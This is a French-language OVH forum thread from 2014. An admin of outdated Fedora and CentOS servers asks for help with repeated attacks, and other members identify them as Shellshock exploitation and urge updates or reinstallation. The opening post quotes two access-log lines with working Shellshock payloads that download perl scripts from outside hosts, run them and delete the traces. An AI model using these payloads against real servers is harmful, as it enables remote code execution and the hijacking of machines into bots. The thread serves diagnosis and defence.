OVH Community, votre nouvel espace communautaire.

Attaques incessantes de scripts malveillants


buddy
14/12/2014, 18h49
Citation Envoyé par winlinux
par curiosité qu'est-ce qui peut obliger à utiliser centOs plutôt que debian ? c'est une question, pas un reproche hein
il était déjà installé. J'ai repris la gestion d'un serveur configuré. Donc, même si naturellement, je ne m'oriente pas sur du Centos, franchement, passé le petit temps d'adaptation, çà marche aussi bien que Debian.

Le serveur en question était sous Centos pour Zimbra. http://www.zimbra.com/downloads/zimb...on-open-source
Il y avait le choix entre Ubuntu, Centos, Suse et debian 5 ...

Autre serveur sous CentOs, ce sont des clusters de calculs en réseau local qui sont sous CentOs... Vu que çà marche bien, CentOs est laissé dessus. Et on ne touche pas... Car programmé un arrêt est "compliqué", du coup les arrêts se font uniquement pour des situations planifiées et importantes. (max 1 par an)

Mais on s'éloigne de l'hébergement là ..

winlinux
12/12/2014, 11h15
Citation Envoyé par bbr18
au hasard : récupérer l'administration d'un serveur sous Centos ?
hormis ce cas-là bien sûr...
je pensais plutôt à une (in)compatibilité d'un logiciel / package particulier ou un truc du genre....

Nowwhat
12/12/2014, 10h55
un autre: de mémoire, c'est l'OS de ce 'glueware' de la série Rx ......

bbr18
12/12/2014, 10h35
au hasard : récupérer l'administration d'un serveur sous Centos ?

winlinux
12/12/2014, 10h13
Mais j'ai déjà utilisé CentOs quand je le devais
par curiosité qu'est-ce qui peut obliger à utiliser centOs plutôt que debian ? c'est une question, pas un reproche hein

buddy
12/12/2014, 06h06
Bonjour,

c'est quoi un "kernel moisi" ?? car Centos 7 a un kernel récent ... (comme debian)
Ubuntu et CentOs (comme débian) n'ont pas les mêmes cibles ...

Ubuntu, toutes les versions sont maintenues 5 ans (et non 4 ...) ... Serveurs ou pas ...

Debian et Centos sont les 2 distrib serveurs les plus utilisés au niveau mondial donc dire que Centos est moisi et plein de problèmes de configuration, je trouve çà un peu "réducteur" ..
Avoir des mises à jour "souvent" ce n'est pas non plus un "critère" .. Il vaut mieux avoir des "programmes" sûrs que des nouveautés "pas tout à faite sûre".. Ce qui importe c'est la rapidité de mise à jour pour des failles comme shellshock ..

Debian et Centos ont 29.5 et 29.2 % ( http://www.journaldunet.com/solution...nux-0112.shtml ) çà date un peu mais globalement c'est toujours çà ... donc Centos n'est pas si "mauvais" que çà.

NB : je précise que je ne suis pas Fan de CentOs, je suis sous debian. Mais j'ai déjà utilisé CentOs quand je le devais et çà marche aussi bien que debian ...

laurentm
11/12/2014, 20h09
J'étais un grand supporter d'OpenSuse pour mes serveurs mail Postfix et utilisateur de CentOS pour les installations à partir d'ISO de FreePbx avec CentOs, le tout virtualisé sous XenServer, mais en fin de compte, je m'aperçois que le support des mises à jour de sécurité n'est vraiment pas assez long pour OpenSuse et que le kernel de CentOs est vraiment "moisi", sans compter la configuration réseau même pas activée par défaut à l'installation... Du coup, je fais toutes mes nouvelles installations avec Ubuntu Server 14.04 LTS. Les mises à jour sont incessantes (ce qui est bon signe), le kernel est 3.1 (au lieu de 2.6) avec des performances au top. Autant la version Desktop d'Ubuntu est pénible en raison de l'interface graphique qui grève les performances et la stabilité, autant cette version serveur avec support assuré 4 ans est convaincante !

guiguiabloc
11/12/2014, 19h31
Citation Envoyé par mazo0012
Je n'ai pas de jugement à recevoir de toi, chacun est libre d'effectuer ses mises à jour, et chacun à ses raisons pour les faire ou ne pas les faire, et tu n'es pas ici pour juger ceux qui les font ou ne les font pas. Ce forum existe pour aider les gens qui ont des problèmes, il n'y a pas de place pour ce genre de propos.
De plus, tu ne me connais pas et tu ne connais pas les raisons pour lesquelles je n'ai pas fait ces mises à jour. Tu ne connais pas non plus mes compétences et mes connaissances, je te prie donc de t'abstenir de ce type de commentaires me concernant, merci.
Oh mais je ne te juge absolument pas, détrompe toi. Je t'aide à prendre la bonne décision. Il n'y a aucune raison légitime à ne pas mettre à jour la sécurité de ses serveurs a part l'incompétence.
Le principal soucis est que beaucoup prenne ce forum pour de l'assistanat et non de l'aide.
Les bases de l'administration, cela s'apprend en lisant les docs, tutos, mans divers et variés, pas en demandant de l'aide sur un forum dès qu'un yum update crash une erreur, ou qu'un service pète un error dans le syslog.
Tu l'as mal pris, tu m'en vois désolé. Mais comme dis plus haut, ce sont des serveurs comme les tiens qui pourrissent les nôtres à cause d'ignorance de leurs "admins". Alors oui ça agace de lire "je gere des serveurs mais j'y connais rien",, oui ca agace de lire des demande d'aide qui sont trouvables dans le premier man venu ou le dernier CVE publié, oui ca agace que des "gestionnaires de serveurs" utilisent plesk plutot que la console parce qu'ils n'ont aucune notion de systemes gnu/linux, ne t'étonnes pas après que cela soulève l'indignation.
Si je devais m'abstenir de dire ce que je pense, sur une place publique (la traduction de forum), la vocation de ce dernier s'en trouverait terriblement altéré.
Tu n'auras pas seulement de l'aide (ou de l'assistanat) sur les forums, mais aussi l'avis de ce que pense d'autres personnes, je sais ça fait mal au fondement, mais c'est comme ça qu'on progresse. Ou pas.

buddy
11/12/2014, 18h12
tant mieux si les mises à jour se sont bien passées

Tu as vérifié que tu étais en
CentOS 5.11 et 6.6

cat /etc/redhat-release
si non, il faut refaire
yum update -y
http://tecadmin.net/how-to-upgrade-c...atest-release/

janus57
11/12/2014, 14h28
Bonjour,

et attention aux utilisateurs de plesk, une faille semble être présent pour ceux qui n'ont pas mis à jour leur plesk car l'augmentation récente des attaques les 3/4 des serveur sont des plesk (Cf : http://forum.kimsufi.com/showthread....an-Attaque-SSH), en tout cas qu'ils soit chez 1&1 ou ailleurs c'est le même topo, c'est le méga bordel sur internet depuis 48H, une jolie augmentation des attaques de plus de 300% sur 48H pour un bon nombre d'utilisateurs.

Donc ouais c'est peut être pas de votre faute directement mais comme dit, c'est pas à OVH de conseillé ces clients sur comment gérer un serveur, ni dire à ces clients que sont OS est mort depuis 8ans ou que son plesk n'est pas à jour, tout ça c'est au client de le faire.

Comme conseillé plus haut ici un contrat d'infogérance pour remettre vos serveurs à jour ce ne serait pas du luxe, ce serait juste la survie de votre activité, car si votre serveur commence a attaqué et passe en rescue FTP vous allez sérieusement avoir peur et vous serez littéralement dans la merde car en rescue FTP c'est le bordel pour faire des "bons" backups.

Après vous faite comme vous voulez, ce sont vos serveur, c'est votre activité, ce sont vos clients (je pense) qui sont sur vos serveurs, mais si jamais il tombe ce sera trop tard pour faire des actions de préventions ou des actions curatives pour arranger les choses, il faudra directement passer au plan D ==> réinstallation.

Désolé si cela peu sembler alarmiste mais le constat est là, trop de personne se retrouve confronté au rescue FTP avec 0 backups et 0solutions de secours avec leur activité principale mise HS car le serveur est coupé.

Cordialement, janus57

bbr18
11/12/2014, 14h10
Ce n'est pas à OVH de prendre des décisions à ta place mais bien à toi de savoir ce qui est le mieux et d'agir en conséquence.

mazo0012
11/12/2014, 14h04
Citation Envoyé par npze
Pour info, ce sont principalement les serveurs hackés comme les tiens qui font qu'on se tape des attaques ddos, flood, exploit de failles et compagnie. Donc ça nous concerne tous.
Bien entendu, je comprends. Mais cela ne justifie pas les propos de guiguiabloc.
Malgré cela, OVH ne nous a pas conseillé d'en changer...

npze
11/12/2014, 10h47
Pour info, ce sont principalement les serveurs hackés comme les tiens qui font qu'on se tape des attaques ddos, flood, exploit de failles et compagnie. Donc ça nous concerne tous.

mazo0012
11/12/2014, 06h16
J'ai mis à jour mes 2 serveurs les plus récents, qui ne sont désormais plus vulnérables à la faille Shellshock. Merci à tous pour vos astuces.

J'essaye maintenant de mettre à jour le plus vieux serveur sous FC4, mais j'obtiens un certain nombre d'erreurs que j'ai détaillées dans un nouveau post : http://forum.ovh.com/showthread.php?...385#post628385


Citation Envoyé par guiguiabloc
Non. Au plus vite, rendre le serveur. Passer à autre chose et ne pas s'imaginer devenir admin sys en trois clics.

Quand je lis ce genre de phrase "Désolé, je ne suis pas administrateur serveur et malgré le fait que je gère plusieurs serveurs dédiés, le monde linux reste encore flou pour moi", cela me conforte dans l'idée de virer toutes ses daubes de "je suis admin en un clic" avec Plesk, Virtualmachin ou AdminEasyforall (c).
Je n'ai pas de jugement à recevoir de toi, chacun est libre d'effectuer ses mises à jour, et chacun à ses raisons pour les faire ou ne pas les faire, et tu n'es pas ici pour juger ceux qui les font ou ne les font pas. Ce forum existe pour aider les gens qui ont des problèmes, il n'y a pas de place pour ce genre de propos.
De plus, tu ne me connais pas et tu ne connais pas les raisons pour lesquelles je n'ai pas fait ces mises à jour. Tu ne connais pas non plus mes compétences et mes connaissances, je te prie donc de t'abstenir de ce type de commentaires me concernant, merci.

bbr18
10/12/2014, 20h04
Citation Envoyé par guiguiabloc
Non. Au plus vite, rendre le serveur. Passer à autre chose et ne pas s'imaginer devenir admin sys en trois clics.

Quand je lis ce genre de phrase "Désolé, je ne suis pas administrateur serveur et malgré le fait que je gère plusieurs serveurs dédiés, le monde linux reste encore flou pour moi", cela me conforte dans l'idée de virer toutes ses daubes de "je suis admin en un clic" avec Plesk, Virtualmachin ou AdminEasyforall (c).
c'est un peu violent quand même car beaucoup ont commencé sans rien connaitre et ont appris (j'en fais partie, même si je suis très loin d'être une experte et je ne prétends pas être admin sys, je me débrouille tout en étant consciente de mes limites, je ne pense pas être la seule dans ce cas, donc ne généralisons pas), bon d'accord quand on voit le nombre d'années durant lesquelles il n'a pas progressé d'un millimètre ça fait peur et prendre un infogérant s'impose dans son cas.

guiguiabloc
10/12/2014, 19h33
Citation Envoyé par bbr18
et aussi vu l'énorme risque qui plane au-dessus de ces serveurs : faire des sauvegardes des données et BDD très souvent avant que le serveur soit bloqué dans un rescue minimaliste
Non. Au plus vite, rendre le serveur. Passer à autre chose et ne pas s'imaginer devenir admin sys en trois clics.

Quand je lis ce genre de phrase "Désolé, je ne suis pas administrateur serveur et malgré le fait que je gère plusieurs serveurs dédiés, le monde linux reste encore flou pour moi", cela me conforte dans l'idée de virer toutes ses daubes de "je suis admin en un clic" avec Plesk, Virtualmachin ou AdminEasyforall (c).

bbr18
09/12/2014, 21h07
et aussi vu l'énorme risque qui plane au-dessus de ces serveurs : faire des sauvegardes des données et BDD très souvent avant que le serveur soit bloqué dans un rescue minimaliste

buddy
09/12/2014, 20h57
Bonjour,

AU plus vite
pour faire les MAJs de sécurité du serveur sous centos en ssh via putty par exemple,
yum update
puis y pour valider

mais c'est probable qu'il demande d'abord d'être en 5.11 et 6.6 (il suffit de lancer plusieurs fois
yum update -y
Réinstaller à très court terme
et vu l'âge des OS et donc des serveurs, autant en louer un nouveau (pour chaque migration ou pas, à vous de voir) et tout basculer sur le nouveau / résilier l'ancien.

janus57
09/12/2014, 20h39
Bonjour,

désolé pour l'inscrust, mais comme l'a dit @BBR là au minimum pour le serveur 1 une réinstallation ne serait pas du luxe, Fedora Core 4 est en fin de vie depuis 2006-08-07, ce qui veux dire que cela fait plus de 8ans que ce serveur n'a reçus aucune mise à jours de sécurité !
Et d'ailleurs vous avez visiblement de la chance que aucun script malveillant n'est réussit à prendre le contrôle de votre serveur, car du coup y a pas que la faille bash sur ce serveur, doit aussi y avoir heartbleed et tout les failles critiques des 8dernières années, ce qui doit faire un bon petit paquets de méga trous dans votre serveur (à ce niveau c'est plus des failles mais bien des trous).

Pour le serveur 2 il doit être possible de l'upgrade en 5.11 qui est encore pris en charge jusque 2017 (mais il faudra bien le remplacer un jour).

En tout cas là vos serveur doivent être dans un état plus que critique et peuvent être considéré comme compromis (pour le serveur 1 c'est sûr à 99% qu'il est compromis si la personne a utilisé la faille bash pour installer sa backdoor).

En tout cas je voudrais pas jouer celui qui fait la morale, mais il faudrait peut être penser à prendre un contrat d'infogérance ne serait-ce que pour migrer vos serveurs vers une version récentes.

En dehors de tout réinstaller, ou tout mettre à jour, avez-vous des solutions de contournement visant à éviter les complications ? Du genre installation de mod_security, ou autre ?
Faut-il bloquer les ip des attaquants (par iptables) ?
non y a pas de magie dans ce cas, faut faire les MAJs de l'os, car si c'est pas bash c'est une autre faille qui sera utilisé, mod_security sert surtout pour les serveurs qui subissent beaucoup d'attaque de type injection SQL ou XSS sur des sites précis, de plus cela n'est pas magique, cela ne protège pas de tout..

Bloquer les ips via iptables serait une perte de temps, dans le sens ou les attaques peuvent venir de partout (us, chine, France, pays-bas, Luxembourg, Russie, Pologne, Allemagne etc...) et aussi cela serait plusieurs centaines voir milliers d'ips (vu les PC zombies qu'il y avait rien que sur le réseau OVH).

Cordialement, janus57

mazo0012
09/12/2014, 19h42
Citation Envoyé par Abazada
Sérieux, tu devais être en vacances sur Mars (ou encore plus loin!) pour ne pas avoir entendu parlé de la "faille du Bash" qui a provoqué beaucoup de frayeurs et d'intrusions en Septembre de cette année.
Désolé, je ne suis pas administrateur serveur et malgré le fait que je gère plusieurs serveurs dédiés, le monde linux reste encore flou pour moi !

Citation Envoyé par Abazada
Les ""() { :;};" de tes log sont typiques de cette attaque, et si tu trouves des fichiers dans /tmp ou /tmp/var c'est que ton serveurs n'est toujours pas protégé contre cette faille très importante !
J'aimerais trouver des solutions mais pour l'instant, la seule que j'ai trouvée est celle visant à créer une partition séparée pour le /tmp et /var/tmp, mais cela n'empêche pas les attaques. Il y a aussi mod_security mais je n'arrive pas à l'installer pour l'instant à cause de ses dépendances.

Citation Envoyé par Abazada
Je te conseille donc urgemment de faire une mise à jour de ta distribution, et en particulier du Bash
J'ai lu pas mal qu'il fallait remettre les serveurs à zéro ou mettre à jour les distributions, mais j'ai peur de plusieurs choses : je ne sais pas comment installer les distributions, quoi mettre à jour et avec quelles versions compatibles avec le matériel, est-ce que les nouvelles distributions seront compatibles avec les anciens modules installés, et est-ce que les nouvelles versions ne vont pas planter les scripts sur nos sites web, après cela il faudra mettre à jour plesk avec quelle version, etc. Bref, c'est le flou total.

Citation Envoyé par Abazada
PS: Tu devrais analyser aussi exactement tout ce qui tourne sur ton serveur (et sous quel user!)
Tout ce qui tourne est avec le user apache, et j'ai analysé les logs suivants : /var/log/httpd/access_log, /var/log/httpd/error_log, /var/log/secure, /var/log/messages, les logs en https, et les access_log et error_log des sites web.

Citation Envoyé par fritz2cat
et au passage un des attaquants est chez OVH
Que pouvons-nous faire de cette info?

Citation Envoyé par bbr18
Tu perdras moins de temps en réinstallant avant que tes serveurs soient complètement hackés et mis en rescue ftp par ovh, avec 2 serveurs c'est assez simple de mettre les sauvegardes sur l'un, réinstaller et sécuriser l'autre puis faire la même chose sur le second.
Ce serait bien effectivement de le faire, mais nous n'avons pas les connaissances nécessaires pour le faire sans que ça prenne des mois pour tout remettre en ordre. Nous ferons peut être appel à un professionnel, au passage s'il y a des volontaires ici, nous serons peut-être preneurs.

Citation Envoyé par bbr18
Déjà si tu commençais par mettre ta distribution à jour tu aurais moins de soucis, cela n'a pas du être fait depuis des lustres pour être encore vulnérable à cette faille (découverte il y a 3 mois ! ).
Quelle distribution au fait ?
Vous avez raison, il n'y a jamais eu de mise à jour des distributions. Nous n'avons jamais effectué de mises à jour en dehors de celles proposées dans Plesk, qui n'en propose plus aucune depuis un moment.
Nous avons 2 serveurs, et malgré qu'ils aient des distributions totalement différentes, ils subissent actuellement le même type d'attaques.
Serveur 1: Fedora Core release 4 (Stentz) 2.6.24.2-xxxx-std-ipv4-32
Serveur 2: CentOS release 5.7 (Final) 2.6.38.2-xxxx-std-ipv6-64
J'en ai un troisième, je viens de m'apercevoir qu'il est aussi attaqué : CentOS release 6.2 (Final) 2.6.38.2-xxxx-std-ipv6-64

En dehors de tout réinstaller, ou tout mettre à jour, avez-vous des solutions de contournement visant à éviter les complications ? Du genre installation de mod_security, ou autre ?
Apparemment un patch est sorti pour contrer la faille ShellShock, n'est-il pas possible d'appliquer uniquement ce patch?
Faut-il bloquer les ip des attaquants (par iptables) ?

Encore merci à tous de votre aide.

bbr18
09/12/2014, 07h45
Nous souhaitons trouver une solution qui ne nous oblige pas à réinstaller nos serveurs, qui nous ferait perdre des données et un temps considérable.
Tu perdras moins de temps en réinstallant avant que tes serveurs soient complètement hackés et mis en rescue ftp par ovh, avec 2 serveurs c'est assez simple de mettre les sauvegardes sur l'un, réinstaller et sécuriser l'autre puis faire la même chose sur le second.
Déjà si tu commençais par mettre ta distribution à jour tu aurais moins de soucis, cela n'a pas du être fait depuis des lustres pour être encore vulnérable à cette faille (découverte il y a 3 mois ! ).
Quelle distribution au fait ?

fritz2cat
09/12/2014, 07h19
et au passage un des attaquants est chez OVH
# host 5.39.86.39
39.86.39.5.in-addr.arpa domain name pointer ks3273002.kimsufi.com.

Abazada
09/12/2014, 05h15
Bonjour,

Sérieux, tu devais être en vacances sur Mars (ou encore plus loin!) pour ne pas avoir entendu parlé de la "faille du Bash" qui a provoqué beaucoup de frayeurs et d'intrusions en Septembre de cette année.

Les ""() { :;};" de tes log sont typiques de cette attaque, et si tu trouves des fichiers dans /tmp ou /tmp/var c'est que ton serveurs n'est toujours pas protégé contre cette faille très importante !

Je te conseille donc urgemment de faire une mise à jour de ta distribution, et en particulier du Bash
et de faire quelques recherches sur "ShellShock" sur Google...

PS: Tu devrais analyser aussi exactement tout ce qui tourne sur ton serveur (et sous quel user!)
car ce que tu donnes en exemple essaye de lancer un script puis d'effacer ses traces.
Ton serveurs se transforme donc en un bot utilisable à volonté par ceux qui y ont placé ce code...

mazo0012
09/12/2014, 02h56
Bonjour,

Je poste ce message car après des heures de recherche, je ne parviens pas à trouver une solution claire et définitive à mon problème.

En fait, nous avons 2 serveurs dédiés subissant des attaques de scripts malveillants (perl, cgi, php) déposant des fichiers sur /tmp et /var/tmp. Pour l'instant nos serveurs tournent normalement, mais il est probable qu'une de ces attaques nous soient prochainement fatales.

On a installé des règles iptables (car les ports étaient scannés très fréquemment), fail2ban, et pour le problème cité plus haut nous avons isolé /tmp et /var/tmp sur une partition séparée (avec noexec, nouid, etc). Mais rien n'arrête pour l'instant les attaques, et les répertoire tmp qui se remplissent avec des scripts exécutables dangereux.

Nous souhaitons trouver une solution qui ne nous oblige pas à réinstaller nos serveurs, qui nous ferait perdre des données et un temps considérable.

Voici un petit extrait de notre fichier de logs /var/log/httpd/access_log :

69.50.193.224 - - [08/Dec/2014:22:40:03 +0100] "GET /cgi-bin/php5 HTTP/1.1" 404 289 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp/; cd /var/tmp/ ; wget http://it-mattes.de/q.jpg; curl -O http://it-mattes.de/q.jpg ; fetch http://it-mattes.de/q.jpg ;lwp-download http://it-mattes.de/q.jpg; perl q.jpg; rm -rf *.jpg*\");'"

5.39.86.39 - - [09/Dec/2014:02:45:12 +0100] "GET /cgi-bin/php HTTP/1.1" 404 288 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp/; cd /var/tmp/ ; wget http://37.221.192.63/j.txt; curl -O http://37.221.192.63/j.txt ; fetch http://37.221.192.63/j.txt ;lwp-download http://37.221.192.63/j.txt; perl j.txt 173.45.225.13; rm -rf *.txt*\");'"

Toute aide sera la bienvenue, un grand merci d'avance à tous.